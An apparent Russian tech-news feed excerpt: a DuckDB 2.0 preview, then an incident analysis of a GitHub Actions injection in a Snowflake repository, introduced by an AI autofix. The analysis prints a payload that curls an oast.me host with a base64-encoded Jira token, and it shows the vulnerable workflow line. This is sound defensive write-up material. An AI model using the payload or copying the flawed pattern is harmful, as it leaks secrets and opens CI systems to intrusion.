&#x412;&#x44B;&#x438;&#x433;&#x440;&#x44B;&#x448; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x441;&#x43E;&#x440;&#x43E;&#x43A;&#x430;&#x43A;&#x440;&#x430;&#x442;&#x43D;&#x44B;&#x439;. &#x41F;&#x430;&#x440;&#x430;&#x43B;&#x43B;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442; &#x438;&#x437;&#x431;&#x430;&#x432;&#x438;&#x43B;&#x441;&#x44F; &#x43E;&#x442; &#x437;&#x430;&#x432;&#x438;&#x441;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x438; ICU: &#x447;&#x430;&#x441;&#x43E;&#x432;&#x44B;&#x435; &#x43F;&#x43E;&#x44F;&#x441;&#x430;, &#x43A;&#x430;&#x43B;&#x435;&#x43D;&#x434;&#x430;&#x440;&#x438; &#x438; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x430; &#x441;&#x43E;&#x440;&#x442;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x438; &#x440;&#x435;&#x430;&#x43B;&#x438;&#x437;&#x43E;&#x432;&#x430;&#x43D;&#x44B; &#x441;&#x432;&#x43E;&#x438;&#x43C;&#x438; &#x441;&#x438;&#x43B;&#x430;&#x43C;&#x438;, &#x430; &#x431;&#x430;&#x437;&#x430; IANA &#x443;&#x436;&#x430;&#x442;&#x430; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x434;&#x43E; 45 &#x41A;&#x411;. &#x414;&#x438;&#x441;&#x442;&#x440;&#x438;&#x431;&#x443;&#x442;&#x438;&#x432; &#x43E;&#x442; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x43F;&#x43E;&#x445;&#x443;&#x434;&#x435;&#x43B;, &#x430; &#x43E;&#x43F;&#x435;&#x440;&#x430;&#x446;&#x438;&#x438; &#x443;&#x441;&#x43A;&#x43E;&#x440;&#x438;&#x43B;&#x438;&#x441;&#x44C; &#x2014; &#x43F;&#x435;&#x440;&#x435;&#x432;&#x43E;&#x434; &#x447;&#x430;&#x441;&#x43E;&#x432;&#x44B;&#x445; &#x43F;&#x43E;&#x44F;&#x441;&#x43E;&#x432; &#x43D;&#x430; 25 &#x43C;&#x43B;&#x43D; &#x441;&#x442;&#x440;&#x43E;&#x43A; &#x438;&#x434;&#x451;&#x442; &#x432; 2,2 &#x440;&#x430;&#x437;&#x430; &#x431;&#x44B;&#x441;&#x442;&#x440;&#x435;&#x435;, &#x43E;&#x442;&#x431;&#x43E;&#x440; &#x441; &#x43D;&#x435;&#x43C;&#x435;&#x446;&#x43A;&#x43E;&#x439; &#x43A;&#x43E;&#x43B;&#x43B;&#x430;&#x446;&#x438;&#x435;&#x439; &#x43D;&#x430; 5 &#x43C;&#x43B;&#x43D; &#x441;&#x442;&#x440;&#x43E;&#x43A; &#x2014; &#x432; 2,6 &#x440;&#x430;&#x437;&#x430; (&#x438;&#x437;&#x43C;&#x435;&#x440;&#x435;&#x43D;&#x438;&#x44F; &#x430;&#x432;&#x442;&#x43E;&#x440;&#x43E;&#x432; &#x43D;&#x430; MacBook). 

&#x41F;&#x43E;&#x44F;&#x432;&#x438;&#x43B;&#x441;&#x44F; &#x430;&#x441;&#x438;&#x43D;&#x445;&#x440;&#x43E;&#x43D;&#x43D;&#x44B;&#x439; &#x432;&#x432;&#x43E;&#x434;-&#x432;&#x44B;&#x432;&#x43E;&#x434; &#x434;&#x43B;&#x44F; Parquet, CSV &#x438; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E;&#x433;&#x43E; &#x444;&#x43E;&#x440;&#x43C;&#x430;&#x442;&#x430;, &#x430; &#x43A; &#x43D;&#x435;&#x43C;&#x443; &#x440;&#x435;&#x436;&#x438;&#x43C;&#x44B; MMAP &#x438; DIRECT_IO &#x43F;&#x43E;&#x434; &#x43B;&#x43E;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x435; &#x43D;&#x430;&#x43A;&#x43E;&#x43F;&#x438;&#x442;&#x435;&#x43B;&#x438;. &#x425;&#x440;&#x430;&#x43D;&#x438;&#x43B;&#x438;&#x449;&#x435; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x438;&#x43B;&#x43E; &#x43D;&#x43E;&#x43C;&#x435;&#x440; &#x432;&#x435;&#x440;&#x441;&#x438;&#x438; 2.0: &#x438;&#x43D;&#x434;&#x435;&#x43A;&#x441;&#x44B; ART &#x43F;&#x435;&#x440;&#x435;&#x441;&#x442;&#x430;&#x43B;&#x438; &#x43D;&#x430;&#x43C;&#x435;&#x440;&#x442;&#x432;&#x43E; &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x442;&#x44C; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x44C; &#x438; &#x43F;&#x435;&#x440;&#x435;&#x448;&#x43B;&#x438; &#x43F;&#x43E;&#x434; &#x443;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x431;&#x443;&#x444;&#x435;&#x440;-&#x43C;&#x435;&#x43D;&#x435;&#x434;&#x436;&#x435;&#x440;&#x430;, &#x43C;&#x435;&#x442;&#x430;&#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x43A;&#x43E;&#x43B;&#x43E;&#x43D;&#x43E;&#x43A; &#x447;&#x438;&#x442;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43B;&#x435;&#x43D;&#x438;&#x432;&#x43E;, &#x43A;&#x43E;&#x43C;&#x43F;&#x440;&#x435;&#x441;&#x441;&#x438;&#x44F; &#x441;&#x442;&#x440;&#x43E;&#x43A; DICT_FSST &#x430;&#x43A;&#x442;&#x438;&#x432;&#x43D;&#x430; &#x43F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E;. &#x417;&#x430;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x43E;, &#x447;&#x442;&#x43E; &#x43A;&#x440;&#x443;&#x43F;&#x43D;&#x44B;&#x435; &#x43F;&#x440;&#x43E;&#x438;&#x43D;&#x434;&#x435;&#x43A;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x442;&#x430;&#x431;&#x43B;&#x438;&#x446;&#x44B; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43C;&#x43E;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;, &#x430; &#x43D;&#x443;&#x436;&#x43D;&#x44B;&#x435; &#x43A;&#x443;&#x441;&#x43A;&#x438; &#x43F;&#x43E;&#x434;&#x442;&#x44F;&#x433;&#x438;&#x432;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43F;&#x43E; &#x43C;&#x435;&#x440;&#x435; &#x43E;&#x431;&#x440;&#x430;&#x449;&#x435;&#x43D;&#x438;&#x44F;. 

&#x41F;&#x440;&#x438;&#x431;&#x430;&#x432;&#x43A;&#x430; &#x43A; &#x434;&#x438;&#x430;&#x43B;&#x435;&#x43A;&#x442;&#x443;


&#x434;&#x436;&#x43E;&#x439;&#x43D;&#x44B; NEAREST &#x2014; &#x43F;&#x43E;&#x438;&#x441;&#x43A; &#x431;&#x43B;&#x438;&#x436;&#x430;&#x439;&#x448;&#x438;&#x445; k &#x437;&#x430;&#x43F;&#x438;&#x441;&#x435;&#x439;;
&#x43E;&#x43F;&#x435;&#x440;&#x430;&#x446;&#x438;&#x438; &#x438;&#x437;&#x43C;&#x435;&#x43D;&#x435;&#x43D;&#x438;&#x44F; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x432;&#x43D;&#x443;&#x442;&#x440;&#x438; CTE: INSERT, UPDATE, DELETE, COPY;
&#x441;&#x445;&#x435;&#x43C;&#x44B; &#x441; &#x432;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x43D;&#x43E;&#x441;&#x442;&#x44C;&#x44E;: CREATE SCHEMA finance.reports;
&#x43F;&#x435;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x44B;&#x435; &#x432;&#x438;&#x434;&#x430; $variable_name;
&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; JSON &#x43D;&#x430; &#x43C;&#x435;&#x441;&#x442;&#x435;: json_set, json_insert, json_replace, json_remove;
&#x430;&#x433;&#x440;&#x435;&#x433;&#x430;&#x446;&#x438;&#x44F; USING KEY &#x432; &#x440;&#x435;&#x43A;&#x443;&#x440;&#x441;&#x438;&#x432;&#x43D;&#x44B;&#x445; CTE;
&#x441;&#x442;&#x430;&#x43D;&#x434;&#x430;&#x440;&#x442;&#x43D;&#x44B;&#x435; FETCH &#x438; OVERLAY, &#x443;&#x442;&#x43E;&#x447;&#x43D;&#x451;&#x43D;&#x43D;&#x43E;&#x435; &#x43F;&#x43E;&#x432;&#x435;&#x434;&#x435;&#x43D;&#x438;&#x435; MERGE.


&#x41E;&#x441;&#x43E;&#x431;&#x43D;&#x44F;&#x43A;&#x43E;&#x43C; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x442;&#x438;&#x43F; VARIANT. &#x410;&#x432;&#x442;&#x43E;&#x440;&#x44B; &#x43E;&#x431;&#x44A;&#x44F;&#x441;&#x43D;&#x44F;&#x44E;&#x442; &#x435;&#x433;&#x43E; &#x43B;&#x43E;&#x437;&#x443;&#x43D;&#x433;&#x43E;&#x43C; &#xAB;&#x432;&#x43E;&#x43E;&#x431;&#x440;&#x430;&#x437;&#x438;&#x442;&#x435; &#x431;&#x44B;&#x441;&#x442;&#x440;&#x44B;&#x439; JSON&#xBB;: &#x43F;&#x43E;&#x434;&#x434;&#x435;&#x440;&#x436;&#x438;&#x432;&#x430;&#x44E;&#x442;&#x441;&#x44F; shredded-&#x432;&#x44B;&#x43F;&#x43E;&#x43B;&#x43D;&#x435;&#x43D;&#x438;&#x435; &#x43D;&#x435;&#x43F;&#x43E;&#x441;&#x440;&#x435;&#x434;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E; &#x438;&#x437; &#x445;&#x440;&#x430;&#x43D;&#x438;&#x43B;&#x438;&#x449;&#x430;, &#x43F;&#x440;&#x43E;&#x431;&#x440;&#x43E;&#x441; &#x438;&#x437;&#x432;&#x43B;&#x435;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x43F;&#x43E;&#x43B;&#x435;&#x439; &#x432;&#x43D;&#x438;&#x437; &#x438; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430; &#x441; Parquet &#x43D;&#x430; &#x447;&#x442;&#x435;&#x43D;&#x438;&#x435; &#x438; &#x437;&#x430;&#x43F;&#x438;&#x441;&#x44C; &#x447;&#x435;&#x440;&#x435;&#x437; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x435; &#x441;&#x435;&#x43C;&#x435;&#x439;&#x441;&#x442;&#x432;&#x43E; &#x444;&#x443;&#x43D;&#x43A;&#x446;&#x438;&#x439; variant_*. 

&#x424;&#x443;&#x43D;&#x434;&#x430;&#x43C;&#x435;&#x43D;&#x442;&#x43E;&#x43C; &#x432;&#x441;&#x435;&#x43C;&#x443; &#x44D;&#x442;&#x43E;&#x43C;&#x443; &#x441;&#x43B;&#x443;&#x436;&#x438;&#x442; &#x43D;&#x43E;&#x432;&#x44B;&#x439; &#x440;&#x430;&#x437;&#x431;&#x43E;&#x440;&#x449;&#x438;&#x43A; &#x43D;&#x430; PEG, &#x441;&#x43C;&#x435;&#x43D;&#x438;&#x432;&#x448;&#x438;&#x439; &#x443;&#x43D;&#x430;&#x441;&#x43B;&#x435;&#x434;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x439; &#x43E;&#x442; PostgreSQL. &#x412;&#x44B;&#x433;&#x43E;&#x434; &#x434;&#x432;&#x435;: &#x440;&#x430;&#x441;&#x448;&#x438;&#x440;&#x435;&#x43D;&#x438;&#x44F; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x44E;&#x442; &#x432;&#x43E;&#x437;&#x43C;&#x43E;&#x436;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x434;&#x43E;&#x431;&#x430;&#x432;&#x43B;&#x44F;&#x442;&#x44C; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x435; &#x441;&#x438;&#x43D;&#x442;&#x430;&#x43A;&#x441;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438;&#x435; &#x43A;&#x43E;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43A;&#x446;&#x438;&#x438;, &#x430; &#x434;&#x438;&#x430;&#x433;&#x43D;&#x43E;&#x441;&#x442;&#x438;&#x43A;&#x430; &#x43E;&#x448;&#x438;&#x431;&#x43E;&#x43A; &#x442;&#x43E;&#x447;&#x43D;&#x435;&#x435; &#x43F;&#x43E;&#x43A;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43F;&#x440;&#x43E;&#x431;&#x43B;&#x435;&#x43C;&#x43D;&#x43E;&#x435; &#x43C;&#x435;&#x441;&#x442;&#x43E;. &#x417;&#x430;&#x43E;&#x434;&#x43D;&#x43E; &#x437;&#x430;&#x432;&#x435;&#x437;&#x43B;&#x438; &#x440;&#x435;&#x436;&#x438;&#x43C; &#x441;&#x43E;&#x432;&#x43C;&#x435;&#x441;&#x442;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x438; &#x441; &#x447;&#x443;&#x436;&#x438;&#x43C;&#x438; &#x434;&#x438;&#x430;&#x43B;&#x435;&#x43A;&#x442;&#x430;&#x43C;&#x438;, &#x441;&#x43A;&#x430;&#x436;&#x435;&#x43C; SET dialect_compatibility_mode = 'spark'. 

&#x420;&#x430;&#x437;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x447;&#x438;&#x43A;&#x430;&#x43C; &#x440;&#x430;&#x441;&#x448;&#x438;&#x440;&#x435;&#x43D;&#x438;&#x439; &#x43F;&#x440;&#x435;&#x434;&#x43B;&#x43E;&#x436;&#x438;&#x43B;&#x438; &#x441;&#x442;&#x430;&#x431;&#x438;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; C API, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x433;&#x435;&#x43D;&#x435;&#x440;&#x438;&#x440;&#x443;&#x435;&#x442;&#x441;&#x44F; &#x438;&#x437; &#x432;&#x435;&#x440;&#x441;&#x438;&#x43E;&#x43D;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x43E;&#x433;&#x43E; YAML-&#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x438;&#x44F;, &#x438; &#x43F;&#x440;&#x438;&#x432;&#x430;&#x442;&#x43D;&#x44B;&#x435; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x438; &#x440;&#x430;&#x441;&#x448;&#x438;&#x440;&#x435;&#x43D;&#x438;&#x439; &#x441; &#x43F;&#x43E;&#x434;&#x43F;&#x438;&#x441;&#x44C;&#x44E; RSA: 

CREATE EXTENSION REPOSITORY my_repo FROM 'https://extensions.example.org';

&#x2139;&#xFE0F; &#x421;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; &#x427;&#x435;&#x43C; &#x44D;&#x442;&#x43E; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x435;&#x441;&#x43D;&#x43E; &#x432;&#x43B;&#x430;&#x434;&#x435;&#x43B;&#x44C;&#x446;&#x443; &#x434;&#x43E;&#x43C;&#x430;&#x448;&#x43D;&#x435;&#x433;&#x43E; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430; &#x420;&#x430;&#x437;&#x431;&#x43E;&#x440; &#x43B;&#x43E;&#x433;&#x43E;&#x432; &#x2014; &#x434;&#x430;&#x432;&#x43D;&#x44F;&#x44F; &#x441;&#x438;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x430; DuckDB: &#x43F;&#x43E;&#x434;&#x441;&#x443;&#x43D;&#x443;&#x442;&#x44C; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433; &#x441; access-&#x43B;&#x43E;&#x433;&#x430;&#x43C;&#x438; nginx &#x438;&#x43B;&#x438; &#x432;&#x44B;&#x433;&#x440;&#x443;&#x437;&#x43A;&#x43E;&#x439; &#x441;&#x442;&#x430;&#x442;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x438; Xray &#x438; &#x43F;&#x43E;&#x441;&#x447;&#x438;&#x442;&#x430;&#x442;&#x44C; &#x43D;&#x443;&#x436;&#x43D;&#x43E;&#x435; &#x43E;&#x434;&#x43D;&#x438;&#x43C; &#x437;&#x430;&#x43F;&#x440;&#x43E;&#x441;&#x43E;&#x43C;, &#x43D;&#x435; &#x43F;&#x43E;&#x434;&#x43D;&#x438;&#x43C;&#x430;&#x44F; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x443;&#x44E; &#x421;&#x423;&#x411;&#x414;. &#x41B;&#x435;&#x43D;&#x438;&#x432;&#x44B;&#x435; &#x43C;&#x435;&#x442;&#x430;&#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x438; &#x430;&#x441;&#x438;&#x43D;&#x445;&#x440;&#x43E;&#x43D;&#x43D;&#x44B;&#x439; &#x432;&#x432;&#x43E;&#x434;-&#x432;&#x44B;&#x432;&#x43E;&#x434; &#x446;&#x435;&#x43B;&#x44F;&#x442;&#x441;&#x44F; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x432; &#x44D;&#x442;&#x43E;&#x442; &#x441;&#x446;&#x435;&#x43D;&#x430;&#x440;&#x438;&#x439; &#x2014; &#xAB;&#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x43B; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x43E;&#x439; &#x430;&#x440;&#x445;&#x438;&#x432;, &#x441;&#x440;&#x430;&#x437;&#x443; &#x441;&#x447;&#x438;&#x442;&#x430;&#x44E;&#xBB;. &#x410; &#x447;&#x435;&#x440;&#x435;&#x437; CONNECT &#x43A; PostgreSQL &#x441;&#x442;&#x430;&#x43D;&#x435;&#x442; &#x432;&#x43E;&#x437;&#x43C;&#x43E;&#x436;&#x43D;&#x43E; &#x434;&#x436;&#x43E;&#x439;&#x43D;&#x438;&#x442;&#x44C; &#x441;&#x432;&#x435;&#x436;&#x438;&#x435; Parquet-&#x444;&#x430;&#x439;&#x43B;&#x44B; &#x441; &#x43F;&#x440;&#x43E;&#x434;&#x43E;&#x432;&#x43E;&#x439; &#x431;&#x430;&#x437;&#x43E;&#x439;, &#x43D;&#x435; &#x432;&#x44B;&#x433;&#x440;&#x443;&#x436;&#x430;&#x44F; &#x435;&#x451; &#x446;&#x435;&#x43B;&#x438;&#x43A;&#x43E;&#x43C;. 

&#x41E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x43C; &#x43F;&#x443;&#x43D;&#x43A;&#x442;&#x43E;&#x43C; &#x438;&#x434;&#x451;&#x442; &#x43E;&#x440;&#x433;&#x430;&#x43D;&#x438;&#x437;&#x430;&#x446;&#x438;&#x43E;&#x43D;&#x43D;&#x430;&#x44F; &#x43D;&#x43E;&#x432;&#x43E;&#x441;&#x442;&#x44C;: &#x43E;&#x441;&#x435;&#x43D;&#x44C;&#x44E; 2026 &#x433;&#x43E;&#x434;&#x430; &#x444;&#x43E;&#x43D;&#x434; DuckDB &#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x435;&#x442; &#x43A;&#x43E;&#x43D;&#x441;&#x443;&#x43B;&#x44C;&#x442;&#x430;&#x442;&#x438;&#x432;&#x43D;&#x44B;&#x439; &#x441;&#x43E;&#x432;&#x435;&#x442; &#x438;&#x437; &#x437;&#x430;&#x438;&#x43D;&#x442;&#x435;&#x440;&#x435;&#x441;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D; &#x2014; &#x43E;&#x43D; &#x431;&#x443;&#x434;&#x435;&#x442; &#x443;&#x447;&#x430;&#x441;&#x442;&#x432;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x432; &#x43E;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x435;&#x43D;&#x438;&#x438; &#x43D;&#x430;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x44F; &#x440;&#x430;&#x437;&#x432;&#x438;&#x442;&#x438;&#x44F; DuckDB, DuckLake &#x438; Quack. &#x41E;&#x442;&#x440;&#x430;&#x437;&#x438;&#x442;&#x441;&#x44F; &#x43B;&#x438; &#x44D;&#x442;&#x43E; &#x43D;&#x430; &#x442;&#x435;&#x43C;&#x43F;&#x435; &#x438; &#x43F;&#x440;&#x438;&#x43E;&#x440;&#x438;&#x442;&#x435;&#x442;&#x430;&#x445; &#x440;&#x430;&#x437;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x43A;&#x438;, &#x43F;&#x43E;&#x43A;&#x430; &#x43D;&#x435;&#x43F;&#x43E;&#x43D;&#x44F;&#x442;&#x43D;&#x43E;: &#x430;&#x43D;&#x43E;&#x43D;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x430; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441;&#x430;&#x43C;&#x430; &#x441;&#x442;&#x440;&#x443;&#x43A;&#x442;&#x443;&#x440;&#x430;. 



&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;


DuckDB &#x2014; &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x435; &#x43F;&#x440;&#x435;&#x432;&#x44C;&#x44E; &#x432;&#x435;&#x440;&#x441;&#x438;&#x438; 2.0


&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; &#x423; &#x43A;&#x43E;&#x433;&#x43E; DuckDB &#x441;&#x442;&#x43E;&#x438;&#x442; &#x432; &#x440;&#x430;&#x431;&#x43E;&#x447;&#x435;&#x43C; &#x43A;&#x43E;&#x43D;&#x442;&#x443;&#x440;&#x435;: &#x432; &#x447;&#x451;&#x43C; &#x43E;&#x43D; &#x443; &#x432;&#x430;&#x441; &#x43E;&#x431;&#x44B;&#x433;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; PostgreSQL, &#x430; &#x433;&#x434;&#x435; &#x443;&#x441;&#x442;&#x443;&#x43F;&#x430;&#x435;&#x442;? &#x418; &#x43D;&#x443;&#x436;&#x43D;&#x430; &#x43B;&#x438; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x43D;&#x430;&#x44F; &#x440;&#x43E;&#x43B;&#x44C; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435; &#x2014; &#x43C;&#x43E;&#x436;&#x435;&#x442;, &#x434;&#x43B;&#x44F; &#x441;&#x435;&#x442;&#x435;&#x432;&#x43E;&#x433;&#x43E; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430; &#x43B;&#x43E;&#x433;&#x438;&#x447;&#x43D;&#x435;&#x435; &#x432;&#x437;&#x44F;&#x442;&#x44C; &#x43F;&#x43E;&#x43B;&#x43D;&#x43E;&#x446;&#x435;&#x43D;&#x43D;&#x443;&#x44E; &#x421;&#x423;&#x411;&#x414;, &#x43E;&#x441;&#x442;&#x430;&#x432;&#x438;&#x432; DuckDB &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x442;&#x435;&#x43C;, &#x447;&#x442;&#x43E; &#x443; &#x43D;&#x435;&#x433;&#x43E; &#x438; &#x442;&#x430;&#x43A; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F;?</description><pubDate>Tue, 18 Aug 2026 05:19:26 +0000</pubDate></item><item><title>&#x41A;&#x43E;&#x433;&#x434;&#x430; &#xAB;&#x431;&#x435;&#x437;&#x43E;&#x43F;&#x430;&#x441;&#x43D;&#x430;&#x44F;&#xBB; &#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x434;&#x432;&#x435;&#x440;&#x44C;: &#x43A;&#x430;&#x43A; &#x443;&#x442;&#x451;&#x43A; Jira-&#x442;&#x43E;&#x43A;&#x435;&#x43D; Snowflake</title><link><![CDATA[https://openode.xyz/topic/2042-%D0%BA%D0%BE%D0%B3%D0%B4%D0%B0-%C2%AB%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%B0%D1%8F%C2%BB-%D0%BF%D1%80%D0%B0%D0%B2%D0%BA%D0%B0-%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D0%B2%D0%B0%D0%B5%D1%82-%D0%B4%D0%B2%D0%B5%D1%80%D1%8C-%D0%BA%D0%B0%D0%BA-%D1%83%D1%82%D1%91%D0%BA-jira-%D1%82%D0%BE%D0%BA%D0%B5%D0%BD-snowflake/?do=findComment&comment=9212]]></link><description><![CDATA[Правка, которая должна была улучшить воркфлоу, открыла доступ к секрету

Сюжет умещается в несколько строк. В открытый репозиторий snowflakedb/snowflake-connector-net 18 июня 2026 года приняли пулл-реквест #1218 — с виду безобидный, «правим Jira-воркфлоу, код не трогаем». Среди соавторов коммита числится Copilot Autofix powered by AI. Спустя пять суток команда Wiz вытащила оттуда действующий API-ключ Jira: достаточно было завести в трекере issue с подходящим заголовком. 

Ниже — реконструкция по коммитам. Всё лежит публично, так что каждый шаг проверяется вручную. 

Как разворачивались события

Схема на основе публикации Wiz Research и коммитов Snowflake

Пять суток — ровно столько воркфлоу, у которого в окружении лежал секрет JIRA_API_TOKEN, отзывался на issue, открытый кем угодно из интернета. 

Каким был payload

Судя по описанию Wiz, с наскока не получилось: попытка закомментировать хвост через # не давала нужного закрытия конструкции. Сработал другой приём — закрыть кавычку, вставить свою команду и снова открыть кавычку, чтобы остаток строки не поломал разбор: 

' ; curl -s "https://&lt;поддомен&gt;.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`" ; echo '

Ключ уехал на сторонний домен в кодировке base64 — приём out-of-band-подтверждения. Далее он проходил аутентификацию в snowflakecomputing.atlassian.net под учёткой qa@snowflake.net и открывал чтение инженерных проектов, комплаенса и bug bounty. 

Заплатку выкатили в тот же день, 23 июня. Коммит 1dc7766 в составе PR #1402 вернул переменные ISSUE_TITLE, ISSUE_BODY и ISSUE_URL в секцию env:, а формирование JSON — на jq -n --arg. Днём позже ключ отозвали. Идентификатор CVE не выдавался: перед нами не дефект продукта, а ошибка в настройке CI отдельно взятого репозитория. 

Что стояло в файле до и после

Раньше файл .github/workflows/jira_issue.yml вёл себя корректно: значение заголовка ехало в переменную окружения, а jq собирал payload через --arg, беря экранирование на себя. 

env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...

Правка превратила это вот в такое: 

run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)

Внешне мелочь, по сути — перелом. Запись ${{ … }} в GitHub Actions относится не к шеллу, а к шаблонизатору, который вклеивает значение в текст скрипта ещё до запуска. Когда очередь доходит до sed, заголовок уже стал частью команды, и экранировать нечего: одиночная кавычка в заголовке завершает echo, а всё написанное автором issue дальше воспринимается как продолжение команды. 

⛔ Так делать нельзя Прямая вставка ${{ github.event.* }} в тело run: недопустима. Пользовательские данные — заголовки и тексты issue, имена веток, комментарии, названия PR — передаются исключительно через env: и читаются потом как обычная шелл-переменная, взятая в кавычки. 

Страховка, которой не было

Формально в воркфлоу присутствовала ограничивающая проверка — условие по github.event.pull_request.user.login. Беда в том, что запуск происходил по событию issues: opened, а у него объекта pull_request попросту не существует. Чтение поля у отсутствующего объекта возвращает пустоту, условие превращается в истину, шаг отрабатывает всегда. 

Типовая ошибка: защита сочинялась под один триггер, а переехала на другой без разбора. 

⚠️ Осторожно Про природу источника. Red Agent — фирменная разработка самой Wiz, и материал в жанре «наш агент самостоятельно обнаружил и проэксплуатировал» одновременно продаёт продукт. Что здесь поддаётся проверке — даты, хеши коммитов и содержимое диффов; они открыты, и я их сверил по репозиторию. Тезисы об автономности агента остаются на совести вендора. 

Уроки для репозитория с агентом в контуре

Занятна тут не инъекция как таковая — классу багов полтора десятка лет, — а вектор правки. Инструмент, созданный для укрепления безопасности, поменял верную конструкцию на ошибочную, а ревьюер, глядя на описание «CI yml adjustment, no code changes», пропустил это мимо. 

Изменения в воркфлоу — это код, у которого есть секреты. Одна строчка в .github/workflows/ способна обойтись дороже сотни строк прикладной логики. Привычку «PR по CI смотрим по диагонали» стоит выбросить. 

Смотреть надо на вектор, а не только на итог. Разумный вопрос к любому автофиксу: что стояло раньше и по какой причине. Переход с jq --arg на sed — движение к худшему, и заметно оно лишь при взгляде на исходное состояние. 

